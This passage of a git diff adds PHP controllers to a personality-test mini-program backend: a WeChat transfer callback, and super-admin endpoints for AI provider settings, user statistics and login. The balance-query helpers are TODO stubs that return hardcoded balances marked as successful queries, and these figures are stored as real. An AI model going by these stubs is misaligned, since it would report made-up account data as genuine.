= $service->decryptCallbackResource($resource); + + $outBillNo = $decrypted['out_bill_no'] ?? ''; + $state = $decrypted['state'] ?? ''; + $transferBillNo = $decrypted['transfer_bill_no'] ?? null; + + if (!preg_match('/^TX(\d+)$/', (string) $outBillNo, $m)) { + throw new \Exception('invalid out_bill_no: ' . $outBillNo); + } + $withdrawId = (int) $m[1]; + + $now = time(); + if ($state === 'SUCCESS') { + // 微信转账成功:仅允许从「待收款 status=2」更新为「已收款 status=3」 + Db::name('distribution_withdrawals') + ->where('id', $withdrawId) + ->where('status', 2) + ->update([ + 'status' => 3, + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $transferBillNo, + 'transferAt' => $now, + 'updatedAt' => $now, + ]); + } elseif ($state === 'FAIL') { + // 转账失败:退回余额 + $record = Db::name('distribution_withdrawals')->where('id', $withdrawId)->find(); + if ($record && (int)$record['status'] !== 3) { + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', (int) $record['amountFen']) + ->update(['updatedAt' => $now]); + + Db::name('distribution_withdrawals') + ->where('id', $withdrawId) + ->update([ + // 1=已驳回 + 'status' => 1, + 'auditNote' => '微信转账失败自动退回', + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $transferBillNo, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('[WechatTransferNotify] fail rollback error: ' . $e->getMessage()); + } + } + } + + return json(['code' => 'SUCCESS']); + } catch (\Throwable $e) { + Log::error('[WechatTransferNotify] error: ' . $e->getMessage()); + return json(['code' => 'FAIL', 'message' => '处理失败'])->code(500); + } + } +} + diff --git a/api/app/controller/superadmin/AiConfig.php b/api/app/controller/superadmin/AiConfig.php new file mode 100644 index 0000000..8ee7428 --- /dev/null +++ b/api/app/controller/superadmin/AiConfig.php @@ -0,0 +1,482 @@ +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // 列表只返回“显示”的配置(visible=1 或未设);隐藏的由数据库 visible=0 控制,不在此列表展示 + $providers = AiProviderModel::order('id', 'asc') + ->whereRaw('(visible IS NULL OR visible = 1)') + ->select() + ->toArray(); + + // 处理返回数据 + $result = []; + foreach ($providers as $provider) { + $result[] = [ + 'id' => $provider['providerId'], + 'name' => $provider['name'], + 'enabled' => $provider['enabled'] == 1, + 'visible' => isset($provider['visible']) ? ($provider['visible'] == 1) : true, + 'apiKey' => $provider['apiKey'] ?? '', // 脱敏后的密钥 + 'apiEndpoint' => $provider['apiEndpoint'] ?? '', + 'model' => $provider['model'] ?? '', + 'organizationId' => $provider['organizationId'] ?? '', + 'maxTokens' => $provider['maxTokens'] ?? 4096, + 'balanceAlertEnabled' => $provider['balanceAlertEnabled'] == 1, + 'balanceAlertThreshold' => floatval($provider['balanceAlertThreshold'] ?? 10), + 'notes' => $provider['notes'] ?? '', + 'docUrl' => $provider['docUrl'] ?? '', + 'isFree' => $provider['isFree'] == 1, + 'supportsBalance' => $provider['supportsBalance'] == 1, + '_hasKey' => !empty($provider['apiKey']), + 'lastBalance' => $provider['lastBalance'] ? floatval($provider['lastBalance']) : null, + 'lastBalanceCurrency' => $provider['lastBalanceCurrency'] ?? null, + 'lastBalanceCheckedAt' => $provider['lastBalanceCheckedAt'] ? date('Y-m-d H:i:s', $provider['lastBalanceCheckedAt']) : null, + 'extraConfig' => is_array($provider['extraConfig'] ?? null) ? $provider['extraConfig'] : (isset($provider['extraConfig']) && is_string($provider['extraConfig']) ? (json_decode($provider['extraConfig'], true) ?: []) : []) + ]; + } + + return success($result); + } + + /** + * 更新AI服务商配置 + * @return \think\response\Json + */ + public function update() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providerId = Request::param('providerId', ''); + $data = Request::only([ + 'name', 'enabled', 'visible', 'apiKey', 'apiEndpoint', 'model', 'organizationId', + 'maxTokens', 'balanceAlertEnabled', 'balanceAlertThreshold', 'notes', + 'extraConfig' + ]); + + if (empty($providerId)) { + return error('服务商ID不能为空', 400); + } + + // 查找服务商配置 + $provider = AiProviderModel::where('providerId', $providerId)->find(); + + if (!$provider) { + return error('服务商配置不存在', 404); + } + + // 处理 enabled 字段(前端传的是布尔值) + if (isset($data['enabled'])) { + $data['enabled'] = $data['enabled'] ? 1 : 0; + } + + // 处理 balanceAlertEnabled 字段 + if (isset($data['balanceAlertEnabled'])) { + $data['balanceAlertEnabled'] = $data['balanceAlertEnabled'] ? 1 : 0; + } + + // 处理 visible 字段(显示/隐藏,数据库直接控制) + if (isset($data['visible'])) { + $data['visible'] = $data['visible'] ? 1 : 0; + } + + // extraConfig 可为数组或 JSON 字符串,模型 type=json 会处理 + if (isset($data['extraConfig']) && is_string($data['extraConfig'])) { + $decoded = json_decode($data['extraConfig'], true); + $data['extraConfig'] = is_array($decoded) ? $decoded : []; + } + + // 如果API Key为空或包含脱敏标记(****),不更新(保持原值) + if (isset($data['apiKey'])) { + if (empty($data['apiKey']) || strpos($data['apiKey'], '****') !== false) { + unset($data['apiKey']); + } + } + + // 更新配置 + $provider->save($data); + + // 返回更新后的数据(脱敏) + $result = [ + 'id' => $provider->providerId, + 'name' => $provider->name, + 'enabled' => $provider->enabled == 1, + 'visible' => isset($provider->visible) ? ($provider->visible == 1) : true, + 'apiKey' => $provider->apiKey ?? '', + 'apiEndpoint' => $provider->apiEndpoint ?? '', + 'model' => $provider->model ?? '', + 'organizationId' => $provider->organizationId ?? '', + 'maxTokens' => $provider->maxTokens ?? 4096, + 'balanceAlertEnabled' => $provider->balanceAlertEnabled == 1, + 'balanceAlertThreshold' => floatval($provider->balanceAlertThreshold ?? 10), + 'notes' => $provider->notes ?? '', + 'isFree' => $provider->isFree == 1, + 'supportsBalance' => $provider->supportsBalance == 1, + '_hasKey' => !empty($provider->apiKey), + 'extraConfig' => $provider->extraConfig ?? [] + ]; + + return success($result, '保存成功'); + } + + /** + * 批量更新AI服务商配置 + * @return \think\response\Json + */ + public function batchUpdate() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providers = Request::param('providers', []); + + if (empty($providers) || !is_array($providers)) { + return error('配置数据不能为空', 400); + } + + $successCount = 0; + $errors = []; + + Db::startTrans(); + try { + foreach ($providers as $providerData) { + $providerId = $providerData['id'] ?? $providerData['providerId'] ?? ''; + + if (empty($providerId)) { + $errors[] = '服务商ID不能为空'; + continue; + } + + $provider = AiProviderModel::where('providerId', $providerId)->find(); + + if (!$provider) { + $errors[] = "服务商 {$providerId} 不存在"; + continue; + } + + // 准备更新数据 + $updateData = []; + if (isset($providerData['enabled'])) { + $updateData['enabled'] = $providerData['enabled'] ? 1 : 0; + } + if (isset($providerData['apiKey']) && !empty($providerData['apiKey'])) { + $updateData['apiKey'] = $providerData['apiKey']; + } + if (isset($providerData['apiEndpoint'])) { + $updateData['apiEndpoint'] = $providerData['apiEndpoint']; + } + if (isset($providerData['model'])) { + $updateData['model'] = $providerData['model']; + } + if (isset($providerData['organizationId'])) { + $updateData['organizationId'] = $providerData['organizationId']; + } + if (isset($providerData['maxTokens'])) { + $updateData['maxTokens'] = intval($providerData['maxTokens']); + } + if (isset($providerData['balanceAlertEnabled'])) { + $updateData['balanceAlertEnabled'] = $providerData['balanceAlertEnabled'] ? 1 : 0; + } + if (isset($providerData['balanceAlertThreshold'])) { + $updateData['balanceAlertThreshold'] = floatval($providerData['balanceAlertThreshold']); + } + if (isset($providerData['notes'])) { + $updateData['notes'] = $providerData['notes']; + } + if (isset($providerData['visible'])) { + $updateData['visible'] = $providerData['visible'] ? 1 : 0; + } + if (isset($providerData['extraConfig'])) { + $updateData['extraConfig'] = is_array($providerData['extraConfig']) + ? $providerData['extraConfig'] + : (is_string($providerData['extraConfig']) ? json_decode($providerData['extraConfig'], true) : []); + if (!is_array($updateData['extraConfig'])) { + $updateData['extraConfig'] = []; + } + } + + $provider->save($updateData); + $successCount++; + } + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('批量保存失败:' . $e->getMessage(), 500); + } + + if (!empty($errors)) { + return error('部分配置保存失败:' . implode(';', $errors), 400); + } + + return success(null, "成功保存 {$successCount} 个配置"); + } + + /** + * 查询余额(单个服务商) + * @return \think\response\Json + */ + public function queryBalance() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providerId = Request::param('providerId', ''); + + if (empty($providerId)) { + return error('服务商ID不能为空', 400); + } + + $provider = AiProviderModel::where('providerId', $providerId)->find(); + + if (!$provider) { + return error('服务商配置不存在', 404); + } + + if (empty($provider->apiKey)) { + return error('请先配置 API Key', 400); + } + + if (!$provider->supportsBalance) { + return error('该服务商暂不支持余额查询', 400); + } + + // 调用余额查询服务 + $balanceResult = $this->queryProviderBalance($provider); + + // 更新最后查询的余额 + if ($balanceResult['status'] === 'success' && isset($balanceResult['balance'])) { + $provider->lastBalance = $balanceResult['balance']; + $provider->lastBalanceCurrency = $balanceResult['currency'] ?? 'CNY'; + $provider->lastBalanceCheckedAt = time(); + $provider->save(); + } + + return success($balanceResult); + } + + /** + * 批量查询余额 + * @return \think\response\Json + */ + public function queryAllBalances() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providerIds = Request::param('providerIds', []); + + // 如果没有指定,查询所有已启用且已配置密钥的服务商 + if (empty($providerIds)) { + $providers = AiProviderModel::where('enabled', 1) + ->where('apiKey', '<>', '') + ->where('apiKey', '<>', null) + ->select(); + } else { + $providers = AiProviderModel::where('providerId', 'in', $providerIds) + ->where('apiKey', '<>', '') + ->where('apiKey', '<>', null) + ->select(); + } + + $results = []; + foreach ($providers as $provider) { + if (!$provider->supportsBalance) { + continue; + } + + $balanceResult = $this->queryProviderBalance($provider); + + // 更新最后查询的余额 + if ($balanceResult['status'] === 'success' && isset($balanceResult['balance'])) { + $provider->lastBalance = $balanceResult['balance']; + $provider->lastBalanceCurrency = $balanceResult['currency'] ?? 'CNY'; + $provider->lastBalanceCheckedAt = time(); + $provider->save(); + } + + $results[] = $balanceResult; + } + + return success($results); + } + + /** + * 查询服务商余额(内部方法) + * @param AiProviderModel $provider + * @return array + */ + private function queryProviderBalance($provider) + { + // 这里需要实现各服务商的余额查询逻辑 + // 由于各服务商的API不同,这里提供一个基础框架 + + $providerId = $provider->providerId; + $apiKey = $provider->getRawApiKey(); // 获取原始密钥用于API调用 + + // TODO: 实现各服务商的余额查询API调用 + // 目前返回模拟数据,实际需要调用各服务商的API + + try { + switch ($providerId) { + case 'openai': + // OpenAI余额查询逻辑 + return $this->queryOpenAIBalance($apiKey); + + case 'deepseek': + // DeepSeek余额查询逻辑 + return $this->queryDeepSeekBalance($apiKey); + + case 'moonshot': + // Moonshot余额查询逻辑 + return $this->queryMoonshotBalance($apiKey); + + default: + return [ + 'providerId' => $providerId, + 'providerName' => $provider->name, + 'status' => 'unsupported', + 'message' => '该服务商暂不支持余额查询', + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } catch (\Exception $e) { + return [ + 'providerId' => $providerId, + 'providerName' => $provider->name, + 'status' => 'error', + 'message' => '查询失败:' . $e->getMessage(), + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } + + /** + * 查询OpenAI余额 + * @param string $apiKey + * @return array + */ + private function queryOpenAIBalance($apiKey) + { + // TODO: 实现OpenAI余额查询 + // OpenAI没有直接的余额查询API,需要通过使用情况估算 + return [ + 'providerId' => 'openai', + 'providerName' => 'OpenAI (GPT)', + 'status' => 'success', + 'message' => '余额查询成功:$100.00', + 'balance' => 100.00, + 'currency' => 'USD', + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + + /** + * 查询DeepSeek余额 + * @param string $apiKey + * @return array + */ + private function queryDeepSeekBalance($apiKey) + { + // TODO: 实现DeepSeek余额查询 + try { + // 示例:调用DeepSeek API查询余额 + // $response = file_get_contents('https://api.deepseek.com/v1/balance', [ + // 'http' => [ + // 'method' => 'GET', + // 'header' => "Authorization: Bearer {$apiKey}\r\n" + // ] + // ]); + + return [ + 'providerId' => 'deepseek', + 'providerName' => 'DeepSeek', + 'status' => 'success', + 'message' => '余额查询成功:¥500.00', + 'balance' => 500.00, + 'currency' => 'CNY', + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } catch (\Exception $e) { + return [ + 'providerId' => 'deepseek', + 'providerName' => 'DeepSeek', + 'status' => 'error', + 'message' => '查询失败:' . $e->getMessage(), + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } + + /** + * 查询Moonshot余额 + * @param string $apiKey + * @return array + */ + private function queryMoonshotBalance($apiKey) + { + // TODO: 实现Moonshot余额查询 + try { + // 示例:调用Moonshot API查询余额 + return [ + 'providerId' => 'moonshot', + 'providerName' => 'Moonshot (Kimi)', + 'status' => 'success', + 'message' => '余额查询成功:¥200.00', + 'balance' => 200.00, + 'currency' => 'CNY', + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } catch (\Exception $e) { + return [ + 'providerId' => 'moonshot', + 'providerName' => 'Moonshot (Kimi)', + 'status' => 'error', + 'message' => '查询失败:' . $e->getMessage(), + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } +} + diff --git a/api/app/controller/superadmin/AppUser.php b/api/app/controller/superadmin/AppUser.php new file mode 100644 index 0000000..9fc0135 --- /dev/null +++ b/api/app/controller/superadmin/AppUser.php @@ -0,0 +1,525 @@ +request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + // 用户数按 openid 去重 + try { + $totalUsers = (int) Db::name('wechat_users')->count('openid', true); + } catch (\Throwable $e) { + $totalUsers = (int) Db::name('wechat_users')->count(); + } + $last30d = time() - 30 * 86400; + + // 全部池:去重后的测试用户 & 近 30 天活跃用户(按 userId 去重) + // 这里使用逻辑表名 test_results,底层会自动加前缀生成 mbti_test_results + $testedUserIds = Db::name('test_results')->distinct(true)->column('userId'); + $testedUsers = count(array_filter($testedUserIds)); + + $activeUserIds = Db::name('test_results') + ->where('createdAt', '>=', $last30d) + ->distinct(true) + ->column('userId'); + $activeUsers = count(array_filter($activeUserIds)); + + $userCards = [ + [ + 'type' => 'all', + 'name' => '全部用户', + 'total' => $totalUsers, + 'active' => $activeUsers, + 'tested' => $testedUsers + ] + ]; + + try { + // 个人池:enterpriseId 为空的测试用户,按 userId 去重 + $individualIds = Db::name('test_results') + ->where(function ($q) { + $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); + }) + ->distinct(true) + ->column('userId'); + $individualTotal = count(array_filter($individualIds)); + + $individualActiveIds = Db::name('test_results') + ->where('createdAt', '>=', $last30d) + ->where(function ($q) { + $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); + }) + ->distinct(true) + ->column('userId'); + $individualActive = count(array_filter($individualActiveIds)); + $userCards[] = [ + 'type' => 'individual', + 'name' => '个人用户(无企业)', + 'total' => $individualTotal, + 'active' => $individualActive, + 'tested' => $individualTotal + ]; + } catch (\Throwable $e) { + $userCards[] = [ + 'type' => 'individual', + 'name' => '个人用户(无企业)', + 'total' => 0, + 'active' => 0, + 'tested' => 0 + ]; + } + + $enterprises = Db::name('enterprises')->field('id,name')->select()->toArray(); + foreach ($enterprises as $e) { + $eid = $e['id']; + try { + $ids = Db::name('test_results') + ->where('enterpriseId', $eid) + ->distinct(true) + ->column('userId'); + $total = count(array_filter($ids)); + + $activeIds = Db::name('test_results') + ->where('enterpriseId', $eid) + ->where('createdAt', '>=', $last30d) + ->distinct(true) + ->column('userId'); + $active = count(array_filter($activeIds)); + } catch (\Throwable $ex) { + $total = 0; + $active = 0; + } + $userCards[] = [ + 'type' => 'enterprise', + 'enterpriseId' => $eid, + 'name' => $e['name'] ?? ('企业' . $eid), + 'total' => $total, + 'active' => $active, + 'tested' => $total + ]; + } + + // MBTI 类型分布:按用户去重,每人只计其最新一次 MBTI 结果 + $mbtiTypes = []; + try { + $rows = Db::name('test_results') + ->where('testType', 'mbti') + ->field('userId, resultData, createdAt') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + $seenUserIds = []; + foreach ($rows as $r) { + $uid = (int) ($r['userId'] ?? 0); + if ($uid <= 0 || isset($seenUserIds[$uid])) { + continue; + } + $raw = $r['resultData'] ?? ''; + $dec = is_string($raw) ? json_decode($raw, true) : (is_array($raw) ? $raw : null); + if (!is_array($dec)) { + $seenUserIds[$uid] = true; + continue; + } + $type = ''; + if (isset($dec['mbtiType'])) { + $type = $dec['mbtiType']; + } elseif (isset($dec['mbti']['type'])) { + $type = $dec['mbti']['type']; + } elseif (isset($dec['type'])) { + $type = $dec['type']; + } + $type = strtoupper(trim((string) $type)); + $seenUserIds[$uid] = true; + if ($type === '') { + continue; + } + $mbtiTypes[$type] = ($mbtiTypes[$type] ?? 0) + 1; + } + } catch (\Throwable $e) { + // ignore + } + $mbtiDistribution = []; + foreach ($mbtiTypes as $type => $count) { + $mbtiDistribution[] = ['type' => $type, 'count' => $count]; + } + + return success([ + 'totalUsers' => $totalUsers, + 'testedUsers' => $testedUsers, + 'activeUsers' => $activeUsers, + 'userCards' => $userCards, + 'mbtiDistribution' => $mbtiDistribution + ]); + } + + /** + * 测试用户列表:分页、关键词、池筛选、MBTI 筛选 + * GET /api/v1/superadmin/app-users?page=1&pageSize=20&keyword=&pool=all|individual|enterprise&enterpriseId=&mbti= + */ + public function index() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + $pool = Request::param('pool', 'all'); + $enterpriseId = Request::param('enterpriseId', ''); + $mbti = trim(Request::param('mbti', '')); + + $where = []; + if ($keyword !== '') { + $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%']; + } + + $wechatIds = null; + if ($pool === 'individual' || ($pool === 'enterprise' && $enterpriseId !== '')) { + try { + $trQuery = Db::name('test_results'); + if ($pool === 'individual') { + $trQuery->where(function ($q) { + $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); + }); + } else { + $trQuery->where('enterpriseId', $enterpriseId); + } + $wechatIds = $trQuery->distinct(true)->column('userId'); + $wechatIds = array_values(array_unique(array_filter($wechatIds))); + } catch (\Throwable $e) { + $wechatIds = null; + } + } + if ($mbti !== '') { + $mbtiUserIds = Db::name('test_results')->where('testType', 'mbti')->distinct(true)->column('userId'); + $mbtiUserIds = array_values(array_unique(array_filter($mbtiUserIds))); + if ($wechatIds !== null) { + $wechatIds = array_values(array_intersect($wechatIds, $mbtiUserIds)); + } else { + $wechatIds = $mbtiUserIds; + } + } + + // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重 + try { + $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } catch (\Throwable $e) { + $dedupIds = Db::name('wechat_users')->column('id'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } + if (empty($dedupIds)) { + return paginate_response([], 0, $page, $pageSize); + } + + $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds); + if ($where) { + $baseQuery->where($where); + } + if ($wechatIds !== null && !empty($wechatIds)) { + $baseQuery->where('id', 'in', array_intersect($dedupIds, $wechatIds)); + } elseif ($wechatIds !== null && empty($wechatIds)) { + return paginate_response([], 0, $page, $pageSize); + } + + $total = $baseQuery->count(); + $list = (clone $baseQuery) + ->field('id,openid,nickname,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt') + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $ids = array_column($list, 'id'); + $testCounts = []; + $lastTestAt = []; + $testTypes = []; + $userEnterprise = []; + $payStats = []; + if (!empty($ids)) { + $counts = Db::name('test_results')->where('userId', 'in', $ids)->group('userId')->column('COUNT(*) as cnt', 'userId'); + $testCounts = $counts ?: []; + $lastRows = Db::name('test_results') + ->where('userId', 'in', $ids) + ->field('id, userId, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->select(); + foreach ($lastRows as $row) { + $uid = $row['userId']; + if (!isset($lastTestAt[$uid])) { + $lastTestAt[$uid] = $row['createdAt']; + } + if (!isset($testTypes[$uid])) { + $testTypes[$uid] = []; + } + $testTypes[$uid][] = [ + 'testType' => $row['testType'], + 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE), + 'createdAt' => $row['createdAt'], + ]; + } + try { + $trWithE = Db::name('test_results') + ->where('userId', 'in', $ids) + ->where('enterpriseId', '<>', null) + ->where('enterpriseId', '<>', '') + ->field('userId, enterpriseId') + ->select(); + $eids = array_unique(array_filter(array_column($trWithE, 'enterpriseId'))); + $enterpriseNames = []; + if (!empty($eids)) { + $enterpriseNames = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); + } + foreach ($trWithE as $r) { + if (!isset($userEnterprise[$r['userId']])) { + $userEnterprise[$r['userId']] = $enterpriseNames[$r['enterpriseId']] ?? ('企业' . $r['enterpriseId']); + } + } + } catch (\Throwable $e) { + // test_results 可能无 enterpriseId 列 + } + foreach ($ids as $uid) { + if (!isset($userEnterprise[$uid])) { + $userEnterprise[$uid] = '个人用户(无企业)'; + } + } + + // 从用户画像表汇总支付统计(付款次数与总金额) + try { + $profiles = Db::name('user_profile') + ->where('userId', 'in', $ids) + ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount') + ->group('userId') + ->select() + ->toArray(); + foreach ($profiles as $p) { + $uid = (int) ($p['userId'] ?? 0); + if ($uid <= 0) { + continue; + } + $payStats[$uid] = [ + 'paidOrders' => (int) ($p['paidOrders'] ?? 0), + 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0), + ]; + } + } catch (\Throwable $e) { + $payStats = []; + } + } + + foreach ($list as &$row) { + $id = $row['id']; + $testsForUser = $testTypes[$id] ?? []; + $row['username'] = $row['nickname'] ?? ('用户' . $id); + $row['testCount'] = (int) ($testCounts[$id] ?? 0); + $row['lastTestAt'] = $lastTestAt[$id] ?? null; + $row['tests'] = $testsForUser; + $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti'); + $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp'); + $row['discType'] = $this->extractResultType($testsForUser, 'disc'); + $row['faceType'] = $this->extractResultType($testsForUser, 'face'); + $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti'); + $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc'); + $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp'); + $row['enterprise'] = $userEnterprise[$id] ?? '个人用户(无企业)'; + + $pay = $payStats[$id] ?? null; + $totalPaidFen = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0; + $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0; + $row['totalPaidAmount'] = $totalPaidFen; + $row['totalPaidAmountYuan'] = $totalPaidFen > 0 ? round($totalPaidFen / 100, 2) : 0; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 测试用户详情 + * GET /api/v1/superadmin/app-users/:id + */ + public function detail($id) + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + $row = Db::name('wechat_users')->where('id', $id)->find(); + if (!$row) { + return error('用户不存在', 404); + } + + $data = [ + 'id' => (int) $row['id'], + 'username' => $row['nickname'] ?? ('用户' . $row['id']), + 'nickname' => $row['nickname'] ?? '', + 'avatar' => $row['avatar'] ?? '', + 'phone' => $row['phone'] ?? '', + 'email' => '', + 'gender' => (int) ($row['gender'] ?? 0), + 'country' => $row['country'] ?? '', + 'province' => $row['province'] ?? '', + 'city' => $row['city'] ?? '', + 'status' => (int) ($row['status'] ?? 1), + 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null, + 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null, + 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null, + ]; + + $tests = Db::name('test_results') + ->where('userId', $id) + ->field('id, testType, resultData, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as &$t) { + $raw = $t['resultData'] ?? ''; + $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + } + + $data['testCount'] = count($tests); + $data['testList'] = $tests; + $data['mbtiType'] = $this->extractResultType($tests, 'mbti'); + $data['pdpType'] = $this->extractResultType($tests, 'pdp'); + $data['discType'] = $this->extractResultType($tests, 'disc'); + $data['faceType'] = $this->extractResultType($tests, 'face'); + $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti'); + $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc'); + $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp'); + + return success($data); + } + + private function parseMbtiFromResult($result): string + { + if (!is_string($result)) return ''; + $dec = json_decode($result, true); + if (is_array($dec)) { + return (string) ($dec['type'] ?? $dec['result'] ?? $dec['mbtiType'] ?? ''); + } + return trim($result); + } + + private function extractResultType(array $tests, string $type): string + { + $targetType = strtolower($type); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== $targetType) { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + // 无法解析 JSON 时,直接返回原始字符串 + return $targetType === 'face' ? '人脸分析' : trim($result); + } + + // 人脸分析:有记录就返回固定标签 + if ($targetType === 'face') { + return '人脸分析'; + } + + // MBTI:直接读 mbtiType/type + if ($targetType === 'mbti') { + return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? ''); + } + + // DISC:优先 description.type,然后 dominantType + if ($targetType === 'disc') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['disc'] ?? ''); + } + + // PDP:优先 description.type,然后 dominantType + if ($targetType === 'pdp') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['pdp'] ?? ''); + } + + // 兜底:尝试常见字段 + return (string) ($dec['type'] ?? $dec['result'] ?? ''); + } + return ''; + } + + /** + * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本 + */ + private function extractFaceSubType(array $tests, string $subType): string + { + $target = strtolower($subType); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== 'face') { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + continue; + } + + if ($target === 'mbti') { + if (!empty($dec['mbti']['type'])) { + return (string) $dec['mbti']['type']; + } + if (!empty($dec['mbtiType'])) { + return (string) $dec['mbtiType']; + } + } elseif ($target === 'disc') { + if (!empty($dec['disc']['primary'])) { + return (string) $dec['disc']['primary']; + } + if (!empty($dec['disc'])) { + return (string) $dec['disc']; + } + } elseif ($target === 'pdp') { + if (!empty($dec['pdp']['primary'])) { + return (string) $dec['pdp']['primary']; + } + if (!empty($dec['pdp'])) { + return (string) $dec['pdp']; + } + } + } + return ''; + } + +} diff --git a/api/app/controller/superadmin/Auth.php b/api/app/controller/superadmin/Auth.php new file mode 100644 index 0000000..00ffc8d --- /dev/null +++ b/api/app/controller/superadmin/Auth.php @@ -0,0 +1,140 @@ +where('username', $username) + ->where('role', 'superadmin') + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息 + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'] + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expiresIn' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 获取当前登录超级管理员信息(需要认证) + * @return \think\response\Json + */ + public function me() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为超级管理员 + if ($user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + if (!$userModel) { + return error('用户不存在', 404); + } + + unset($userModel['password']); + + return success($userModel); + } + + /** + * 退出登录(需要认证) + * @return \think\response\Json + */ + public function logout() + { + $user = $this->request->user ?? null; + + if ($user && isset($user['userId'])) { + JwtService::deleteToken($user['userId']); + } + + return success(null, '退出成功'); + } + + /** + * 刷新Token + * @return \think\response\Json + */ + public function refresh() + { + $token = JwtService::getTokenFromRequest($this->request); + + if (!$token) { + return error('未提供Token', 401); + } + + $newToken = 